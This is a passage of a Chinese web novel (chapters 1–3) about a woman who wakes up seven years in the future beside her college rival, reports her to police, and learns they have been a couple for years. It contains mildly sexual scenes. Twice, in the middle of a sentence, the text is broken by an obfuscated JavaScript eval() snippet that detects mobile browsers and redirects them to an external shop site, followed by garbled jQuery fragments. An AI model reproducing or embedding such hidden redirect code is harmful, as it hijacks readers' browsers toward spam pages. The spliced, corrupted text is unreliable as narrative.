《一觉醒来和死对头七年之痒》 1. 第一章 这个早晨从一开始就不对劲。 从这场莫名其妙的晴天开始,到窗外阳光下略微泛黄的白蜡树、周遭陌生而熟悉的房间、以及眼前绝不该出现在她身边的女人。 阮序秋戴上眼镜,那种不对劲瞬间变得更为清晰。 细长光影沿着窗帘缝隙倒入房间,房间内,她正未着一物躺在白鹅绒的丝绸被里,被一个同样赤裸的女人拥在怀中。 光影中,女人那张脸美得浓艳、艳得张扬,一笔一画精雕细琢,化成灰阮序秋都认得。 似觉察她的视线,女人睡眼惺忪,细长手臂搂着她的腰拉近,呼吸沉在她的耳边,呢喃: “宝贝……” 女人的香气,女人的长卷发,女人摸索在腰际的滚热的手,一切如水草一般纠缠着阮序秋。 暧昧旖旎,香艳四溢。 如果阮序秋不是一个二十多岁的资深母单,一切会显得美好得多。 是的,长这么大她还没有谈过恋爱,甚至连同性的手都没有牵过,可眼前这女人又是怎么回事? 阮序秋的大脑一片空白。 她记得昨晚…… 对了,昨晚,她这个不爱交际不爱出门、出了名的好学生书呆子,为参加暗恋学姐的留学欢送会,人生第一次走进酒吧。 她想要跟学姐告白,免得留下遗憾。可等她终于鼓起勇气,好死不死被告知学姐早就心有所属,二人即将欢聚法国。 阮序秋悲从中来,悲痛交加,悲愤欲绝,于是第一次喝了酒,并且喝醉了。 聚会结束时,天上特别应景地落下这个春天的第一场雨。 那雨大得离谱,她坐在出租车的后排,还昏昏沉沉听见车载广播里传来关于未来一周的红色暴雨预警。 然而此时窗外…… 淮海的春天一向多雨水,今年也不例外。可在这样一个潮腻的四月天,窗外晴空万里也就算了,勉强归咎于天气预报不准,那棵白蜡树竟然在一夜之间褪色泛黄总归是不对的。难道说物种变异了?真够诡异。 当然,最为诡异的还要数眼前这个女人——和阮序秋斗争了整个大学时光的死对头,专业永远的第一名,阻碍阮序秋拿全额奖学金的重大绊脚石,毕业后又阴魂不散和她考上同一所学校研究生的天杀的应景明,竟然赤身裸体和她躺在同一个被窝里! 她记得昨晚告知自己学姐恋爱消息的人是应景明,也是应景明送落单的自己回家。 然后呢?因为自己烂醉如泥,所以她阴险狡诈乘虚而入了? 思绪走到这里,阮序秋这才察觉身上是散了架般的酸软无力,加湿器嗡嗡地响着,空气中潋滟着一股咸腻的气味。 阮序秋是没谈过恋爱,可她不是没常识。 她一面惊慌失措推开面前的女人,一面环顾周围。 这里似乎并不是她的家,虽然房间格局相同,但陈设装潢和她从小长大的房间大有不同,从窗帘窗户,到…… 没等细看观察,那条细长的手臂就轻车熟路抓住阮序秋拖回去。 天杀的应景明蹭着她的耳畔,“再睡一会儿……” 阮序秋气得呼吸困难,她浑身打战不断推阻,却成了那人眼中的调情。 “又想要了么?可是我好累,休息一下嘛……” 什么要!谁要了!我一点也不想要! 她几乎叫起来,“放开我!你信不信、信不信我!混蛋应景明!你别逼我报警抓你!” “好嘛好嘛,我知道错了,我再也不欺负你了……” 应景明怜惜捧住她半边脸颊吻了吻,“序秋,宝贝序秋,别不要我……” 她比阮序秋高半个头,此时困得连眼睛都没睁,只稍微翻一个身,浑身就沉沉地压在了阮序秋的身上,任凭阮序秋怎么推也不动分毫。 阮序秋急得只能伸手在床头柜上摸索,然下一瞬,她就感到髋部曲线严丝合缝地贴合在一起,紧接着,心脏的位置一片温热。 阮序秋不禁倒吸一口凉气。 下一秒,她抄起烟灰缸,喉中那口气化成一声尖叫。 “啊!!!” 窗外群鸟惊散。 *** 一个宁静祥和的早晨,风和日丽,鸟语花香,街道办派出所突然接到一通报警电话。 报警女子边说边哭,边哭边说,但意思表达得很清晰,面试答卷般的语气,说自己被侵犯了,又抽泣告知地址和姓名身份证号码,让她们尽快赶到。 白马湖小区,大学城附近一个知名的老破小,地点位于18幢2楼,敲门后,一个戴着破损黑框眼镜的女人前来开门。 女人名叫阮序秋,长得清秀干净,不算特别出众,但胜在五官排布匀称协调,整个人瘦巴巴的,白伶伶的,跟碗豆腐似的,只是眉眼间那股子认真劲儿让人一秒幻视初中班主任。 此时她的身上只裹了一件浴袍,颈间红痕未褪,不过泪痕已经干了,眼眶红肿,见了她们,开口第一句就是: “我就是报警人阮序秋,警官小姐,她侵犯我!我要告她起诉她!” 阮序秋面带恨色指向不远处坐在沙发上的另一个女人。 朝她所指的方向看去——那是一个蓝黑色长卷发的女人,她的额头似乎受伤了,正用冰块敷着,可即便如此也能看出,她长得实在太好看了。 高折叠度的面部轮廓立体英气,却生了一对与之相反的浓艳双目,眼尾飞扬,上眼睑却厌倦地低垂,睫毛长而密,奇异的搭配,反而给她增添了十足的女人味,或者是性感之类的。 简而言之,和普通人根本不在一个次元。 她的身上也穿着浴袍,和报警人这件还是情侣款,松松垮垮地系着,暴露的脖颈同样不乏红痕抓痕。 话音落下,女人瞥着她们冷嗤一声,“阮序秋,你最好说清楚我是怎么侵犯你的。” 美人嗔怒,就是女人也得惊艳两秒,可报警人不吃这套,她更加愤怒,差点冲上去。 “应景明,你个衣冠禽兽!警官,你看看,看看,这都是她给我弄的!这儿这儿这儿,还有这儿!她竟然还让我说清楚!” 她撸起袖子,将那些意味不明的痕迹尽数露出来,恨不得脱了衣服以作展示。 警官连忙按住她,“小姐,请你冷静一点。” “你让我怎么冷静,这个人、这个人她!” 阮序秋想说自己洁身自好二十多年,恋爱恋爱没谈,暗恋暗恋又失败,失恋第一天,竟然被死对头被、被死对头捡尸然后吃干抹净,这多荒唐。 想到这里,阮序秋恼羞成怒咬住下唇。 “警官,我要求验伤!”她铿锵有力,像考试现场举报作弊者。 应景明冷哼,眼底漫起讽刺。 阮序秋不敢相信她个混球竟然还有脸讽刺,自己才是受害者,她凭什么讽刺? 但显然阮序秋低估了这个人不要脸的程度,她不光讽刺,还倒打一耙: “该验伤的人应该是我才对吧,你知不知道我差点腱鞘炎,还有我的额头,被你用烟灰缸砸成这个鬼样子,警官,我也要求验伤,这个人故意伤害。” “麻烦都请冷、” “应景明,我以前怎么不知道你这么道德败坏?” “我道德败坏?” “你把我弄成这副德行,装什么无辜!” 应景明气笑了,“是你昨晚一直缠着我说要的好么。” 她拂了拂伤口边的卷发丝,强压火气道:“警官,我发誓没有强迫她,昨晚都是她自愿的。” “昨晚我醉成那样,你有脸说我是自愿?我算是长见识了,应景明,你不要脸的程度简直突破了我的想象。你等着,我不光要告你,还要找记者把你的兽行公之于众!” 说着,阮序秋立马掏出手机寻找律师的联系方式。 “有本事你就、”应景明神色一滞,奇怪地看着她,“你说你昨晚喝酒了?” “废话,昨晚学姐留学欢送会,你不也喝了。” 应景明皱眉。 阮序秋没有留意对方异样的沉默,匆匆答毕,就将全部注意力回到自己的手机上。 奇怪的是,她却没能找到律师的联系方式。不光如此,她发现她的手机空空如也,所有文件图片都消失了,像被格式化过一样。 仔细观察,虽然款式差不多,手机 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应景明却不争辩了,她咀嚼着“欢送会”三字,眼底讽刺的意味更浓,“这都过去七年了,原来你对你那个学姐还是念念不忘啊。” 这话就更莫名其妙了。 是,她念念不忘,这有什么不对?这两年她的暗恋应景明是唯一知情人,她的念念不忘应景明难道不是一直都一清二楚么? 可她这话怎么好像为她吃醋一样? 阮序秋眉头蹙得更紧,“……应景明,我怎么听不懂你在说些什么,我念念不忘需要跟你报备?而且七年前我们才初三,应该还不认识吧。” 诸多不和谐因素让阮序秋开始怀疑自己是不是还在做梦。 她宁可相信现在是在做梦,然而下一刻,应景明的回答直接给了她重重一击。 “为了甩我,竟然连失忆这种把戏都拿出手了。” 应景明一字一句从唇间吐出,艳利眉眼几乎将她盯穿,“阮序秋,我们好歹交往了这么多年,把我当什么了?用过就扔的一次性玩具么?” *** 交往?这么多年?她和应景明么? 阮序秋彻底糊涂了,她仔细思忖着这句话,可就是怎么都没办法理解。 更加离谱的是,她觉得应景明大概率是认真的。 她目光专注,里面全是阮序秋无法理解的情绪。 好像她们是那种吵架闹分手的情侣,而自己伤了她的心。 大学期间她们吵过无数架,这个应景明一直以来都潇洒散漫,甚至无数次嘲笑她傻,嘲笑她暗恋得莫名其妙,可这一面的应景明,就连阮序秋也从未见到过。 她恍惚了,不可置信地看着应景明。 难道说自己忘记了什么很重要的事情? 不对不对!一定是哪里弄错了! 会不会其实这个人这么说只是为了脱罪,好让警官更加确定她们之间的关系而已? 毕竟自己叫来警察,严重的话,这个人保研的资格很有可能会因此失去。 “无论如何,应景明,你现在说什么都迟了,等着收法院传票吧。” 那股愤怒的情绪渐趋平缓,阮序秋稍稍冷静下来,“不过我不会把这件事通报学校,能不能守住保研名额就看你自己的造化了。” 阮序秋私以为这已经算是网开一面了,可应景明这厮给脸不要脸,“保研?” 她怒极反笑,起身慢条斯理地靠近,到面前了,居高临下地俯视,“阮序秋,你确定还要继续装二十岁?要不要问问警官现在是几几年。” 她的眼神尖锐而专注,像是要将阮序秋吸进去。 几乎是身体本能的反应,阮序秋莫名有点脸热。她避开目光看向别处,“就、就算你这么说,也改变不了你侵犯了我的事实……” 话虽如此,也许阮序秋早已经感觉到了什么,只是不愿承认,她一面如此说,视线却悄悄停留在旁边围观的警官身上。 警官察觉她的目光,正色回答:“阮小姐,今年是2026年,而你已经二十八岁了。” 20……26……? 2. 第二章 阮序秋耳边发出刺耳的嗡鸣,可令人意外的是,惊讶的感觉稍纵即逝。 没错,如果是2026年,那么一切就都说得通了,为什么没有下雨,为什么白蜡树会泛黄,为什么她的家一夜之间变了那么多。她的手机大概率还是她自己格式化的。 既然如此,那七年后的应景明呢? 阮序秋的大脑一片混乱。 所以……她真的和应景明在一起了……? 等等,这也不对,就算现在是七年后,就算自己失忆了,也不代表她和应景明就是正当关系。这是两码事。 她们过去针锋相对,相看两厌,有什么非要在一起的理由么? 阮序秋深吸一口气,强行压下所有混乱的情绪。 她凌厉直视应景明那张招摇的脸,镜片反光微闪,“好,就算现在是七年后,但我并不觉得我们有在一起的可能性。” “我不喜欢你,应景明,你最好能拿出切实的证据,不然的话,我还要告你损害我的名誉权。” 面对她的质疑,两位警官也在当场噎住,“阮小姐的诉求是合理的,去伪存真多方求证嘛,应小姐,你觉得呢?”她们看向应景明。 不出所料,应景明默在了那里,似为难般紧锁眉头。 片刻的胜券在握让阮序秋心头的烦躁得以消散,她泰然自若推眼镜,从容等待应景明的下一步反应。 然而不过两秒,就见应景明紧锁的眉头徐徐展开,唇角扬起一个似笑非笑的弧度。 “警官,我们真的是情侣,在附近的淮海大学当老师,手机里有我们的合照,请过目。” 她面对两位警官递出手机,语气出奇平静。 “密码1104。” 阮序秋心里不禁咯噔一下。 1104刚好是她的生日。 情绪可以假装,可密码不会骗人,难道说应景明连这也预料到了? 警官也是一愣,看了看阮序秋的脸色,接过手机。 阮序秋思绪正乱,见警官输入密码顺利打开手机,片刻,目光齐齐从手机之后抬起,不由紧张地咽了咽唾液。 “……怎么样?” “你自己看吧。” 那部手机辗转来到她眼下。阮序秋屏住呼吸,不安地接过。 然而仅一眼,阮序秋就凌乱了。 应景明的手机里竟然都是自己和她的合照! 阮序秋快速在相册界面滑动,一起旅游,一起逛街看电影,无数她曾经向往的关于爱情的回忆,和这个斗了整个大学的死对头。 就连接吻拥抱的床照都有! 这…… 这怎么可能…… 听说现在是七年后已经够让人无法接受,更离谱的是,七年后的自己竟然和死对头搞在了一起。这合理么?这完全不合理! 阮序秋死皱眉头盯住图片的每一个细节,试图从中找出P图的痕迹。 聚精会……不行,刚才和应景明打架的时候眼镜摔坏了,现在这架眼镜是旧的,日常戴戴没问题,可根本经不住细看。 她抬头瞪向应景明,眼中满是不甘。 应景明却是当即看穿了她的心思,从容不迫道:“如果怀疑图片是ps的,你可以找人鉴定。” “或者我直接把你的侄女叫来,我们当面问清楚。” 她一面说,一面拿回手机打开微信,动作利落往通讯录下方滑动,俨然十拿九稳。 阮序秋一颗心逐渐往下沉。 也许她已经意识到了什么,但…… 真的没有其它可能性么? *** 通知侄女的电话是由警官代打的,挂断后,警官郑重请示:“阮小姐,这样可以么?” 阮序秋勉为其难点头,不安渐渐漫上心口。 接下去应该…… 她需要仔细思考如何面对七年后全新的生活,以及如果应景明说的都是真的,又该怎么办。 对了,还有衣服。她低头看自己,她得换身体面的衣服,决不能以这副模样见七年后的侄女。 正要向卧室走去,一旁应景明突然动身。 阮序秋浑身一个哆嗦,立马双手护在身前警戒:“你干嘛!” 应景明忍不可忍地吁了口气,捋起头发凑到阮序秋面前,“被你砸成这个样子,我应该有权处理一下吧。” 额头那块瘀青透着青紫色,有点渗血,被她用烟灰缸砸的。 确实下手重了点,不过这都是她活该。 阮序秋咳嗽两声,扭开脑袋,当作什么也没看到。 应景明冷嗤,趿拉着拖鞋去门口拿刚送到的药。 厕所在玄关门口一侧,空间狭小闭仄,应景明打开灯,拆开棉签和碘伏上药。 她似乎清楚地知道纸巾、湿纸巾的所在,擦净淌下来的碘伏液,看也不看便随手扔进角落的小垃圾桶,熟稔而自在,就像面对自己的家一样。 相较之下,此刻的自己才像那个外人。 这个念头让阮序秋呼吸一窒,再不敢细想下去。 她也踅身,“我去换个衣服。” 逃避解决不了问题,她必须尽快弄清自己的处境,夺回其控制权。 首先第一步,整理房间,然后对七年后名下的资产进行评估,包括动产、不动产以及她和死对头之间可能存在的共同财产。这样,在面对接下去可能的变故,才不至于手忙脚乱。 阮序秋挥散不安,斗志重燃,来到卧室门口。 推开房门,映入眼帘是一片狼藉。 早上太慌乱,没来得及细看,此时面对这乱七八糟的场面,阮序秋的脸颊才后知后觉有些发热。 阮序秋害臊地推了推眼镜,心里那点火焰熄了几息。 她小心翼翼弯腰,像拎着刚从污水里打捞上来的垃圾,一件一件收拾地上散落的衣物。 当捡起床边角落一片黑色布料,阮序秋莫名觉得有点不对,这东西布料太少了,而且还是蕾丝的质地。 阮序秋疑惑凑近,眯眼,聚焦—— 下一秒,她惊呼一声,差点把东西扔出去。 这竟然是一件黑色蕾丝底裤! 她不知所措地捂唇。底裤并不脏,看上去甚至是新的,还有些香香的。 阮序秋从来没有穿过这种款式,可她记得应景明的底裤是白色的,边缘还有一串英文字母,在另一侧的床边,被她殴打的时候,匆匆忙忙捡起来穿上了,所以这条蕾丝款的就是…… 低头看自己,眼镜片上一片反光,可透明下的肌肤依旧红得显眼。 这也不合理,她怎么可能穿蕾丝底裤,按道理来说就算世界毁灭、就算天塌下来,她也不可能穿这种东西才对。 难道说自己故意穿这种东西,所以昨晚才会…… 等等!这就更不可能了!要真是这样,那她宁可从这里跳下去! 话虽如此,可身为从没谈过恋爱的母单,阮序秋还是不禁对这件东西产生了一定的好奇。 她左右观察身边没人,房门也关得严严实实,不会有人发现她的一举一动,这才小心翼翼拎起另一角展开查看。 蕾丝的花纹特别精致,可布料几乎是透明,只有底部一点可怜兮兮的布料是实在的棉质,那里似乎还…… 阮序秋双颊登时红成柿子,棉质布料上竟然濡着一片已经干涸的透明反光! 阮序秋整个人瞬间烧起来,不该浮现的画面再次浮现在阮序秋的脑海,体温、触碰、指尖……还有、还有…… 她像拿着一个下一秒就会爆炸的地雷,着急忙慌左顾右盼找垃圾桶。 垃圾桶是找到了,可垃圾桶里的东西再次给了阮序秋一记暴击。 那竟然是一堆用过的指套和指套的包装袋!!! *** 接连的冲击让阮序秋头脑发热,几近抓狂, 她卯起劲儿将房间粗略清理了一遍。 被子铺在窗台上晒太阳消毒,看不顺眼的包括床单被套,还有那些疑似应景明所有物的东西,全部一起装进垃圾袋扔掉。 一切完备,她沉沉吐了口气,来到衣柜前。 此时她的身上仍穿着那件浴袍,为方便展示伤势,根本没有特地遮掩。 衣服得换,如果可以最好从头到尾包得严严实实。 七年后奇怪的事情一件接一件,打开衣柜,面对琳琅满目的陌生衣物,阮序秋已经见怪不怪。 显然,她的衣着风格也变了,那种好看精致但她不喜欢的衣服占领了衣柜的高地。 这不像是她的衣柜,而像是应景明的。 阮序秋翻翻找找,从角落抽出一件压箱底的灰色棉麻高领和一件灰黑色直筒长裤,并将长发扎成一个整整齐齐的低马尾,这才终于找回些许属于自己的安全感。 应景明总说她这样打扮像个中年妇女,自己也不觉得这样的衣服有多好看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004767|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可她不介意,她对漂亮甚至是嗤之以鼻的,就像讨厌应景明那样,轻浮轻挑惹人厌。 看着镜子里熟悉的自己,阮序秋深深吸气、呼气,直至慌乱的粉色彻底从她的脸上消失,变回那个一丝不苟、不近人情的阮序秋。 心态调整完毕,阮序秋床边坐下掏出手机。 先前她曾尝试登录微信,但是密码错误了。这个密码需要找回,此外,各个平台的账号也要尽数登录上去,以便检查她名下的存款余额。 然而才进入界面,客厅外的敲门声就在这时响起。 *** “你就是阮明玉?” 长这么大,这还是阮明玉第一次被警察传唤,她看着面前齐齐注视着她的两位警官,不禁忐忑地放轻了呼吸。 “对,我就是阮明玉,警官小姐,我姑姑发生了什么?是不是出了什么意外?” “没有,你的姑姑很安全,只是我们有点事情需要当面向你确认。” “……什么事情?” “不用紧张,只是一点小事。”说话人是应景明,她走出厕所,站在少女的身侧柔声安抚。 阮明玉应声一见,更是惊呼出声,“景明姐,你的额头!” “谁砸的!下手这么狠,家里是不是进强盗了?我姑姑呢?” “不好意思,是你姑姑我砸的。” 阮序秋人未到声先至。 周围空气有片刻的凝滞。 阮序秋从客厅另一侧走上前,看着面前模样清秀,却与记忆中大有不同的少女,顿在原地屏住了呼吸。 这个人不是应景明叫来的演员,仅一眼阮序秋就能确信她就是她的侄女阮明玉,货真价实。 阮明玉这个侄女是她和她妈合手带大的,昨天还是瘦巴巴的豆芽菜,如今就已十九岁,亭亭玉立。 乍一看好像翻天覆地,仔细打量其实也没发生什么特别大的变化,她还是漂亮乖巧,只有身高长了。 “姑姑?你们怎么、”阮明玉想说不是说快要和好了么,怎么又闹上了? 话未说完忽然顿住。她打量着她姑姑,从上到下,从下到上,眼中满是疑惑不解,这严丝合缝的衣着打扮…… “这才初秋,不至于穿高领吧。” 面对这个问题,两位当事人都噤声了,瞪着对方,丝毫不愿退让。 警官见状,叹了口气打破僵局,“先进来吧。” 老小区的隔音不好,正值饭点,外面传来刺啦刺啦的油烟做饭声。 隔壁人家今天吃辣椒炒肉,香飘十里,辣味呛得人鼻头直发痒,眼下301室却没人敢打喷嚏。 这里没有油烟,只有硝烟。 主人公阮序秋和应景明面对面坐在餐桌两侧,剑拔弩张,一触即发。阮明玉坐在她们之间,左看,右看,满头雾水。 “所以……谁能告诉我究竟发生了什么?” 应景明:“你自己说。” 阮序秋:“凭什么我说?警官,你说!” 可旁边两位警官只觉得饥肠辘辘,甚至有点犯困,她们一前一后地搭腔:“也不是什么大事,我们只是想知道,她们两个人是什么关系?” “对,恋人、朋友还是陌生人之类的。” 阮明玉忍笑,“怎么问这么奇怪的问题?” “所以……?” “当然是恋人啊,你看她们穿的用的,这还不够明显么?” 轰隆——! 阮序秋呆在了原地,大脑一片空白。 果然啊…… 阮序秋并不觉得意外,可她仍不死心,转身面对阮明玉,郑重其事握着阮明玉的双肩,“明玉,你千万不要因为这个人又漂亮又有钱就不敢说真话,你放心地说,我和她到底是什么关系,哪里不对,姑姑一定会好好教训她一顿的!” 阮明玉彻底憋不住了,噗嗤失笑,“你说什么呢姑姑,你们都交往七年了,就算最近闹分手,但也不至于要教训吧。” 轰隆隆——! “七年啊……”两位警官齐声呢喃,然后齐齐看向阮序秋。 阮序秋的脑子彻底宕机了,整个人呆若木鸡。 她以为她和应景明只是交往过一阵子,七年也就意味着……学姐走后没多久,她们就在一起了? “姑姑?” “明玉,你发誓你没有说谎。” 阮明玉更奇怪,她姑姑怎么一脸好像天塌了的表情? 3. 第三章 阮序秋眼中,自己是一觉醒来莫名其妙出现在七年后,还被死对头侵犯的冤大头。可在旁人看来,她是不光砸破自己女朋友脑袋,还报警要抓女朋友的疯女人。 对此两位警官别提多无语了,问明白了说清楚了,两人忙不迭要撤,一刻也不久留,只在临走顺带批评教育了应景明两句,让她赶紧带女朋友去医院看看脑子。 阮序秋就是那个脑子有病的女朋友。 真是笑话,她阮序秋可是连幼儿园时期都是班上的第一名。 那边门口,应景明瞥了她一眼,淡淡:“我会的,不好意思麻烦你们了。” 关上门,应景明脚步顿了顿,这才回到阮序秋的面前坐下。 双臂环胸,双眸微眯,一副要说法的架势。 显然,她不相信阮序秋说的什么失忆,毕竟昨晚她们还春风一度,脑子根本没受伤的机会。 别说她了,阮序秋自己也不信。 阮序秋正了正坐姿,对上应景明质问的眼神。 她很想像刚才那样理直气壮咄咄逼人,可是她的脑子太乱了。 交往,还是七年,所以像今天早上那种突破她心理防线的亲密行为可能已经发生了无数次。 离谱,离谱透顶,虽然她确实向往爱情,但为什么是和应景明啊? 应景明真不愧是她七年的女朋友,当即看出她的小心思,在边上悠悠开口:“在想为什么是和我,而不是和你的白月光学姐?” 被说中了。阮序秋噎住,手指握得咯吱响。 “是又怎么样?难道你还想拿前朝的剑斩本朝的官?” “怎么样?阮序秋,昨晚可是你主动联系我复合的。” 那双眸子里淬了幽深的精光,看得阮序秋脸上红一阵白一阵。 红是真红,白也是真白。 如果应景明说的都是真的,那么可以确定那件黑色蕾丝确实是她主动穿的,还是为了一夜春宵,为了眼前这个欠扁的应景明。 这比任何羞辱都管用,一瞬间,阮序秋头脑发热,蹭地站起身。 “那、那也……” 话没出口,应景明慢条斯理抬起脸庞,“结果才复合就来这出,别告诉我你是为了你那个初恋,所以才不惜一大早临时改口。” 她似笑非笑看着她,眼底一片荆棘锋芒。 这话真够难听,阮序秋哑然,面色当即沉下来。 她盯住应景明,“你可以这么想,反正我们、” 她想说反正我们总归是要分手的,没差,却被明玉一把按住。 “不会的景明姐,我想一定有什么误会,姑姑不是那种人。” 应景明却不说话了,长睫低垂看向一旁。 明玉没得到回应,又转面向她:“明玉相信姑姑绝对是真的失忆了!” 阮序秋牵强地笑笑。 “所以姑姑还记得自己是怎么突然失忆的么?” “不记得……”阮序秋心如死灰摇着头,在她的视角看来,这跟穿越没区别。可就算穿越也得有个根据吧,她一没受伤,二没车祸,难道说应景明有毒,把她给屮失忆了? 正想着,却不期然和应景明对上视线。 那双绮丽浓艳的眉眼黯然失色,像淋了一场雨。 阮序秋心里浮现一股罪恶感。 可她分明什么都没做啊! 她真的就只是睡一觉醒来而已,谁知道七年后自己会、 阮序秋又莫名又不解,拉起阮明玉火速躲回房间。 *** 关上门,落上锁,阮序秋把阮明玉拉到一边悄咪咪地问:“明玉,你偷偷告诉我,她跟我在一起是不是别有所图,还是说我得了失心疯?” “?” “不然我实在想不通自己干嘛跟她交往,这可是我的初恋!” 阮序秋皮肤白,稍微害臊一点就格外明显,就像现在这样。 阮明玉忍俊不禁,以前怎么不知道她的姑姑这么可爱,“姑姑,我发誓你们是正常恋爱在一起的,而且你们超级超级相爱,简直就和小说里写的一样。” “相爱啊……” 阮序秋思考,然后严肃脸,“不对,这不合理。” “这非常合理,姑姑,这七年,你们一起读研究生读博士,一起留校任教,可是我校蝉联多年的模范情侣!” “去年你们还打算结婚。” 阮序秋并不意外自己会成为老师,这是她从小到大的职业目标。对于应景明这个吊儿郎当的家伙竟然也是老师,就更是稀松平常,反正这个人的脑筋一向好得特别讨人厌。 可问题是………… “你说结、结婚?” “是啊。” 阮序秋彻底恍惚了,结婚?和应景明么? “所以姑姑,你们好不容易复合了,就算失忆也还是会继续在一起的对吧?” 阮明玉眼珠子亮晶晶地瞧着她,还另外强调:“我说的千真万确!姑姑,就这么分开你会抱憾终生的!” 什么意思不言而喻。 阮序秋郁闷,不是她不想,实在是她一点也代入不进去,甚至感到一种诡异的滑稽感。 在她眼里,她和应景明都不算是同一个物种,谈起恋爱跟阿猫阿狗跨物种在一起没差别。 阮序秋脑海里浮现一只狗压住一只猫的画面,不禁一阵恶寒。 看着比她这个当事人还兴奋的侄女,阮序秋毫不犹豫一盆冷水泼下去,“再相爱我们也还是分手了。” “那是因为、” 阮明玉一下子急了。阮序秋莫名其妙,这种破烂事究竟有什么值得着急的。 她冷声打断:“我听应景明说了,说我们昨晚才复合,明玉,你对我们之间感情的滤镜是不是有点太重了?” “我真没有!”侄女更急,一副跳进黄河也洗不清的架势,“哎哟,但都是因为景明姐家里啦,她家人不同意你们在一起,而且……” “而且什么?” “听说应妈妈想让她联姻来着。” “为此景明姐都好些年没回家了,你们刚在一起那阵子她边打工边读书,为了你还曾经、直到当上老师情况才逐渐好转……” 说着,小心翼翼地看着她,好似生怕触及她的伤心事。 阮序秋对比却没丝毫切实的感受,心里只有纳闷, 她想不通,为什么富二代千金为恋人反抗阻拦的烂俗戏码,会落在脑子里只有学习的自己头上。 *** 下午,阳光渐渐从阳台溜走。 应景明靠着阳台的落地窗回复微信消息。 她额头的伤口仍在隐隐作痛,贴了纱布涂了药,却又莫名其妙发痒。 大部分女同都没指甲,应景明也不例外。她从盆栽里捡起一片落叶,用梗蹭了蹭又痒又疼的伤口。 盆栽里养了一小棵茉莉,叶片枯了大半盆,季节快要过去,花也凋零。 第n次把输入框没有发送的内容删除后,应景明打开阳台的水龙头接水。 水瓢握在手里,没等浇,那只烫手山芋又在这时发出震动。 今天诸事不顺,好像一切都有意跟她作对。 应景明烦躁地看了眼电话来人,备注「猪景月」,她如假包换的亲妹。 “说。” “老姐,听说你要结婚了哦。”电话那头,应景月的尾音飘着,愉快得让人很窝火。 “听谁说的?” “当然是老妈啊,她一大早就在餐桌上骂你,说你脑子进水了,竟然在昨晚大半夜发消息给她说要结婚。” “我说你也真是,干嘛非要和那个师太结婚?搞得我两头不是人。” “不过呢,虽然两头不是人,但我肯定是向着老姐你的,所以今天早上我就坚持不懈帮你劝说老妈啊,可费了我九牛二虎之力,你猜怎么着?老妈不光没发火,还考虑接受你们结婚的事情诶!你说我是不是很厉害?” 她一茬接一茬,说得兴高采烈,好像要结婚的人是她自己。 应景明掀了掀羽睫,半瓢水零零落落浇在几盆盆栽里,溅得地面和拖鞋也湿淋淋。拖鞋是和阮序秋的情侣款,交往这么多年,这是第三双。 三双都是她买的,阮序秋对这些一向不感兴趣,包括情侣对戒。 “我知道,刚才妈发消息跟我说了。” “所以还不赶紧谢谢我。” “我还真是谢谢你。” “额……你怎么好像不是很开心的样子?真是太阳打西边出来了,你不是一早就想结婚么?应该不是被拒绝了吧。” “……” 开玩笑的口吻,偏偏说中了。 现实甚至比她这句玩笑话还要荒唐。 大概昨晚凌晨,应景明给应女士发了这半个月以来的第一条消息,内容是:「我要结婚,和阮序秋,妈,就算你跟我断绝关系我也要结。」 她和阮序秋冷战了很久,昨晚她们之间的会面是阮序秋主动联系她的。阮序秋不是一个善于低头的人,可是这回她不光主动联系,还主动跟她求和,破天荒头一遭。 那时她和阮序秋刚结束第一轮,她来客厅给阮序秋倒水,站在流理台前,脑子里都是阮序秋。 七年是个坎儿,好不容易复合,她一点也不想错失这次机会。 可就在今天早上,原本答应要和她结婚的老婆突然说自己失忆了。 巧的是,就在刚才,一门心思利用她联姻的女强人应淑华应女士,竟然一反常态没有拒绝她的要求。 12:59,应女士发来信息:「回家一趟,我们好好聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004768|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聊你结婚的事。」 这让她怎么回复?难道说:不用了妈,因为阮序秋又把你的女儿给甩掉了,能看么? “怎么突然不说话?”应景月顿了顿,夸张地倒吸冷气,“嚇!难道被我说中了?” “……” “噗哈哈,可怜喏,我貌美如花的姐姐怎么偏偏栽在那个师太的身上?”应景月幸灾乐祸,应景明都能想到她摇头晃脑取笑自己的样子。 应景明皱眉,眸色微冷,“她有名字,别一口一个师太叫她。” “这也不能怪我,都怪你女朋友的行事作风太像我高中时候的教导主任了,简直有够恐怖。” “姐,我说真的,七年够可以了,我求你换个老婆吧。我认识超级多又漂亮性格又好的大美女,如果你实在喜欢师太这款,那个联姻对象还记得吧,你大学学妹,也是个近视眼书呆子,听说对你特别有好感,重要的是咱妈也喜欢,要不要见见?” “对了,我听说她也要去你们学校当老师,到时千万记得照顾着点,不然妈又该骂你了。” 应景明没细听应景月后面还说了什么,她的思绪沉进了一个灰暗的角落里。 是的,她和阮序秋在一起了七年,也原地踏步了七年。 阮序秋从来不是一个坦率的人,她很少表达她的在意,就连吃醋也要强装镇定,不多说一个字。她还特别嘴下不留情,就算是曾经的热恋期,也不曾吝啬对她的挤兑。 她们认识快走十年了,从十九岁到现在,她的嘴巴还是那么硬,脸皮还是那么薄,每每在学校牵她的手,她也还是会爆炸,说什么为人师表,使尽浑身解数也要跟她划清界线。 可即便如此,她仍将情侣拖鞋和情侣浴袍默默用到了现在。她那么害臊的一个人,不知何时也学会用她自己的方式向她表达感情,比如亲吻,比如深夜无人时的拥抱。脸皮再薄,可她终究向她低了这个头。 